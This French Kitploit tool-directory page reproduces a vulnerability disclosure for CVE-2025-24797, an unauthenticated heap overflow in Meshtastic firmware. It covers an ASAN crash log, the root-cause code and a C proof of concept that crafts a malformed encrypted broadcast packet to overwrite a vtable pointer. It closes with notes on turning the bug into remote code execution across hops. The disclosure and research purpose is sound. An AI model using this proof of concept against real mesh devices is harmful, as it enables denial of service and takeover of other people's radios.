Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-24797 — Vulnérabilité de dépassement de tampon dans Meshtastic - CVE-2025-24797 | Kitploit
Outils/GitHubGitHub/alainx277/cve-2025-24797
Sécurité des Systèmes EmbarquésSécurité IoTAnalyse des VulnérabilitésExploitationFuzzingSécurité Sans FilExploitation de Binaires
GitHubalainx277/cve-2025-24797

CVE-2025-24797

Vulnérabilité de dépassement de tampon dans Meshtastic - CVE-2025-24797

Voir le dépôt
23il y a 1 anPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2025-24797

Détail de CVE-2025-24797 - NVD

Résumé

Un défaut dans la gestion des paquets mesh contenant des données protobuf invalides peut entraîner un débordement de tampon contrôlé par un attaquant, permettant à un attaquant de détourner le flux d'exécution, ce qui peut potentiellement conduire à une exécution de code à distance. Cette attaque ne nécessite pas d'authentification ni d'interaction de l'utilisateur, tant que l'appareil cible retransmet les paquets sur le canal par défaut.

Cause racine

La vulnérabilité a été découverte initialement via du fuzzing, résultant dans l'arrêt ASAN suivant :

root@kitploit:~
DEBUG | 22:27:03 0 State: BOOT
DEBUG | 22:27:03 0 Lora RX (id=0x76f4febf fr=0x10 to=0xff, WantAck=0, HopLim=3 Ch=0x8 encrypted hopStart=3)
DEBUG | 22:27:03 0 Packet RX: 845ms
DEBUG | 22:27:03 0 [Router] Add packet record (id=0x76f4febf fr=0x10 to=0xff, WantAck=0, HopLim=3 Ch=0x8 encrypted hopStart=3)
DEBUG | 22:27:03 0 [Router] Use channel 0 (hash 0x8)
DEBUG | 22:27:03 0 [Router] Expand short PSK #1
DEBUG | 22:27:03 0 [Router] Use AES128 key!
ERROR | 22:27:03 0 [Router] Can't decode protobuf reason='wrong wire type', pb_msgdesc 0x55f23cf543c0
ERROR | 22:27:03 0 [Router] Invalid protobufs in received mesh packet id=0x76f4febf (bad psk?)!
WARN  | 22:27:03 0 [Router] No suitable channel found for decoding, hash was 0x8!
DEBUG | 22:27:03 0 [Router] packet decoding failed or skipped (no PSK?) (id=0x76f4febf fr=0x10 to=0xff, WantAck=0, HopLim=3 Ch=0x8 encrypted rxtime=1736461623 hopStart=3)
DEBUG | 22:27:03 0 [Router] Module 'routing' wantsPacket=1
INFO  | 22:27:03 0 [Router] Received routing from=0x10, id=0x76f4febf, portnum=10320, payloadlen=25
DEBUG | 22:27:03 0 [Router] Routing sniffing (id=0x76f4febf fr=0x10 to=0xff, WantAck=0, HopLim=3 Ch=0x8 encrypted rxtime=1736461623 hopStart=3)
INFO  | 22:27:03 0 [Router] Rebroadcast received floodmsg
DEBUG | 22:27:03 0 [Router] enqueuing for send (id=0x76f4febf fr=0x10 to=0xff, WantAck=0, HopLim=2 Ch=0x8 encrypted rxtime=1736461623 hopStart=3 priority=64)
DEBUG | 22:27:03 0 [Router] Set random delay before tx
DEBUG | 22:27:03 0 [Router] Delivering rx packet (id=0x76f4febf fr=0x10 to=0xff, WantAck=0, HopLim=3 Ch=0x8 encrypted rxtime=1736461623 hopStart=3)
DEBUG | 22:27:03 0 [Router] Forwarding to phone (id=0x76f4febf fr=0x10 to=0xff, WantAck=0, HopLim=3 Ch=0x8 encrypted rxtime=1736461623 hopStart=3)
ERROR | 22:27:03 0 [Router] Packet too large to attempt decryption! (rawSize=10320 > 256)
DEBUG | 22:27:03 0 [Router] Module 'routing' considered
DEBUG | 22:27:03 0 [SimRadio] delay done
DEBUG | 22:27:03 0 [SimRadio] Start low level send (id=0x76f4febf fr=0x10 to=0xff, WantAck=0, HopLim=2 Ch=0x8 encrypted rxtime=1736461623 hopStart=3 priority=64)
=================================================================
==6992==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6130000006e0 at pc 0x7f85755a7397 bp 0x7fff161319a0 sp 0x7fff16131148
READ of size 10320 at 0x6130000006e0 thread T0
    #0 0x7f85755a7396 in __interceptor_memcpy ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:827
    #1 0x55f23a1c40d2 in RadioInterface::beginSending(_meshtastic_MeshPacket*) src/mesh/RadioInterface.cpp:621
    #2 0x55f23a297a8d in SimRadio::startSend(_meshtastic_MeshPacket*) src/platform/portduino/SimRadio.cpp:261
    #3 0x55f23a29782f in SimRadio::onNotify(unsigned int) src/platform/portduino/SimRadio.cpp:231
    #4 0x55f23a0c8ee2 in concurrency::NotifiedWorkerThread::checkNotification() src/concurrency/NotifiedWorkerThread.cpp:82
    #5 0x55f23a0c8f3c in concurrency::NotifiedWorkerThread::runOnce() src/concurrency/NotifiedWorkerThread.cpp:89
    #6 0x55f23a0c9623 in concurrency::OSThread::run() src/concurrency/OSThread.cpp:85
    #7 0x55f23a2d0f66 in ThreadController::runOrDelay() .pio/libdeps/native/Thread/ThreadController.cpp:59
    #8 0x55f23a154893 in loop src/main.cpp:1259
    #9 0x55f23a3a54db in main /home/alain/.platformio/packages/framework-portduino/cores/portduino/main.cpp:226
    #10 0x7f8574ad7d8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
    #11 0x7f8574ad7e3f in __libc_start_main_impl ../csu/libc-start.c:392
    #12 0x55f239f8f8b4 in _start (/home/alain/marc/program+0x1098b4)

0x6130000006e0 is located 0 bytes to the right of 352-byte region [0x613000000580,0x6130000006e0)
allocated by thread T0 here:
    #0 0x7f8575621887 in __interceptor_malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:145
    #1 0x55f23a1d55ac in MemoryDynamic<_meshtastic_MeshPacket>::alloc(unsigned int) src/mesh/MemoryPool.h:71
    #2 0x55f23a16aeb3 in Allocator<_meshtastic_MeshPacket>::allocCopy(_meshtastic_MeshPacket const&, unsigned int) src/mesh/MemoryPool.h:38
    #3 0x55f23a16a573 in FloodingRouter::perhapsRebroadcast(_meshtastic_MeshPacket const*) src/mesh/FloodingRouter.cpp:60
    #4 0x55f23a16a91e in FloodingRouter::sniffReceived(_meshtastic_MeshPacket const*, _meshtastic_Routing const*) src/mesh/FloodingRouter.cpp:97
    #5 0x55f23a1ca301 in ReliableRouter::sniffReceived(_meshtastic_MeshPacket const*, _meshtastic_Routing const*) src/mesh/ReliableRouter.cpp:141
    #6 0x55f23a220710 in RoutingModule::handleReceivedProtobuf(_meshtastic_MeshPacket const&, _meshtastic_Routing*) src/modules/RoutingModule.cpp:26
    #7 0x55f23a22141f in ProtobufModule<_meshtastic_Routing>::handleReceived(_meshtastic_MeshPacket const&) src/mesh/ProtobufModule.h:100
    #8 0x55f23a17e8fa in MeshModule::callModules(_meshtastic_MeshPacket&, RxSource) src/mesh/MeshModule.cpp:132
    #9 0x55f23a1d437b in Router::handleReceived(_meshtastic_MeshPacket*, RxSource) src/mesh/Router.cpp:618
    #10 0x55f23a1d5211 in Router::perhapsHandleReceived(_meshtastic_MeshPacket*) src/mesh/Router.cpp:681
    #11 0x55f23a1cfc2c in Router::runOnce() src/mesh/Router.cpp:71
    #12 0x55f23a1cc01d in ReliableRouter::runOnce() src/mesh/ReliableRouter.h:79
    #13 0x55f23a0c9623 in concurrency::OSThread::run() src/concurrency/OSThread.cpp:85
    #14 0x55f23a2d0f66 in ThreadController::runOrDelay() .pio/libdeps/native/Thread/ThreadController.cpp:59
    #15 0x55f23a154893 in loop src/main.cpp:1259
    #16 0x55f23a3a54db in main /home/alain/.platformio/packages/framework-portduino/cores/portduino/main.cpp:226
    #17 0x7f8574ad7d8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58

SUMMARY: AddressSanitizer: heap-buffer-overflow ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:827 in __interceptor_memcpy
Shadow bytes around the buggy address:
  0x0c267fff8080: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c267fff8090: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c267fff80a0: fd fd fd fd fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c267fff80b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c267fff80c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c267fff80d0: 00 00 00 00 00 00 00 00 00 00 00 00[fa]fa fa fa
  0x0c267fff80e0: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
  0x0c267fff80f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c267fff8100: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c267fff8110: 00 00 00 00 fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c267fff8120: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==6992==ABORTING

La corruption se produit lorsqu'un paquet est envoyé pendant l'opération memcpy, copiant les octets chiffrés dans le radioBuffer. Le champ p->encrypted.size a une valeur supérieure à la taille de radioBuffer.payload (240 octets).

root@kitploit:~
// src/mesh/RadioInterface.cpp

size_t RadioInterface::beginSending(meshtastic_MeshPacket *p)
{
    // ...
    memcpy(radioBuffer.payload, p->encrypted.bytes, p->encrypted.size);

    // ...
}

La cause de la valeur de taille invalide est un bogue logique qui se produit lors du décodage des paquets. Les données du paquet déchiffré sont décodées à l'aide de pb_decode_from_bytes, la destination étant la structure de paquet reçu p.

root@kitploit:~
// src/mesh/Router.cpp

bool perhapsDecode(meshtastic_MeshPacket *p)
{
    // ...
    // Try to decrypt the packet if we can
    crypto->decrypt(p->from, p->id, rawSize, bytes);
  
    // printBytes("plaintext", bytes, p->encrypted.size);
  
    // Take those raw bytes and convert them back into a well structured protobuf we can understand
    memset(&p->decoded, 0, sizeof(p->decoded));
    if (!pb_decode_from_bytes(bytes, rawSize, &meshtastic_Data_msg, &p->decoded)) {
        LOG_ERROR("Invalid protobufs in received mesh packet id=0x%08x (bad psk?)!", p->id);
    } else if (p->decoded.portnum == meshtastic_PortNum_UNKNOWN_APP) {
        LOG_ERROR("Invalid portnum (bad psk?)!");
    } else {
        decrypted = true;
        break;
    }
  // ...
}

Si le décodage réussit, decrypted est passé à true et which_payload_variant est correctement mis à jour vers meshtastic_MeshPacket_decoded_tag.

root@kitploit:~
// src/mesh/Router.cpp

bool perhapsDecode(meshtastic_MeshPacket *p)
{
    // ...

    if (decrypted) {
        // parsing was successful
        p->which_payload_variant = meshtastic_MeshPacket_decoded_tag; // change type to decoded

    // ...

Cependant, si le décodage échoue, which_payload_variant n'est pas mis à jour. Comme p->encrypted et p->decoded sont implémentés à l'aide d'une union et que leurs zones mémoire se chevauchent, les données dans p->encrypted ont été corrompues avec les données partielles décodées par pb_decode_from_bytes et sont dangereuses à utiliser.

Comme les nœuds retransmettent les paquets reçus par défaut, le paquet corrompu est programmé pour être envoyé. Dans RadioInterface::beginSending, le code vérifie correctement que le paquet est au format chiffré et suppose que p->encrypted est accessible en toute sécurité, ce qui conduit à transmettre la taille corrompue à memcpy, provoquant potentiellement un débordement du tampon.

PoC

Voici un exemple de code qui montre comment envoyer un message malveillant déclenchant la vulnérabilité.

root@kitploit:~
uint32_t from = 2;
uint32_t id = 2;

meshtastic_Data d = meshtastic_Data_init_default;
// We can choose the memcpy size by setting portnum, as it overlaps with the `encrypted->size` field
uint16_t memcpy_size = sizeof(meshtastic_Data);
d.portnum = static_cast<meshtastic_PortNum>(memcpy_size);
// This is the data written outside of radioBuffer
d.dest = 0xAAAAAAAA;
// Overwrites virtual table pointer
d.source = 0xBBBBBBBB;
d.request_id = 0xCCCCCCCC;
d.reply_id = 0xDDDDDDDD;
d.emoji = 0xEEEEEEEE;
d.has_bitfield = false;

byte internal_data[256] = {};
size_t internal_size = pb_encode_to_bytes(internal_data, sizeof(internal_data), &meshtastic_Data_msg, &d);

// Cause deserialization to fail by adding a stray byte
assert(internal_size < sizeof(internal_data));
internal_data[internal_size] = 0xFF;
internal_size += 1;

channels.setActiveByIndex(0);
crypto->encryptPacket(from, id, internal_size, internal_data);

meshtastic_MeshPacket p = meshtastic_MeshPacket_init_default;
p.from = from;
p.to = 4294967295; // Broadcast
p.id = id;
p.channel = 0x8;
p.hop_limit = 3;
p.hop_start = 3;
p.which_payload_variant = meshtastic_MeshPacket_encrypted_tag;
p.encrypted.size = internal_size;
memcpy(p.encrypted.bytes, internal_data, sizeof(p.encrypted.bytes));


meshtastic_MeshPacket *allocPacket = packetPool.allocCopy(p);
rIf->send(allocPacket);

Et voici le nœud récepteur qui plante en essayant de charger notre pointeur de table virtuelle écrasé :

402298428-01fcba5c-ca4c-4ad9-824c-2747c540b585

Impact

L'attaquant a le contrôle sur la taille et le contenu du tampon car les données écrites sont basées sur les données du paquet chiffré en cours de décodage. En modifiant la taille de la memcpy, un attaquant peut corrompre les structures de données du tas, conduisant à un déni de service.

L'attaquant a également le contrôle sur une partie limitée de la zone débordée, car la structure meshtastic_Packet est plus grande que la destination RadioBuffer. Après le radioBuffer, trois champs de structure suivent : int8_t power; float savedFreq; uint32_t savedChannelNum. Ceux-ci ne sont pas utilisés pendant le fonctionnement et peuvent être écrasés en toute sécurité. Après ces champs, le pointeur de table virtuelle pour concurrency::NotifiedWorkerThread suit. En écrasant ce pointeur, un attaquant peut rediriger arbitrairement l'exécution la prochaine fois que le thread est exécuté, permettant potentiellement une exécution de code à distance.

Nous estimons qu'un exploit RCE fonctionnel est assez simple sur les systèmes embarqués sans ASLR ni protection d'exécution mémoire, car l'attaquant peut inclure du shellcode directement dans le paquet. Si des protections d'exécution mémoire sont en place, un attaquant pourrait être en mesure de réaliser une RCE ou d'autres comportements destructeurs en appelant des méthodes existantes dans le firmware. Si ASLR est présent, nous supposons qu'une autre vulnérabilité est nécessaire pour fuiter des adresses.

Cette vulnérabilité peut être exploitée même sur des nœuds à plusieurs sauts. Étant donné que le paquet est retransmis, un attaquant peut imbriquer plusieurs étapes de données chiffrées malformées, où les étapes initiales écrasent le champ de taille avec des valeurs valides. Les données seront décompressées à chaque saut jusqu'à ce que l'écrasement final soit déclenché.

Télécharger l’outil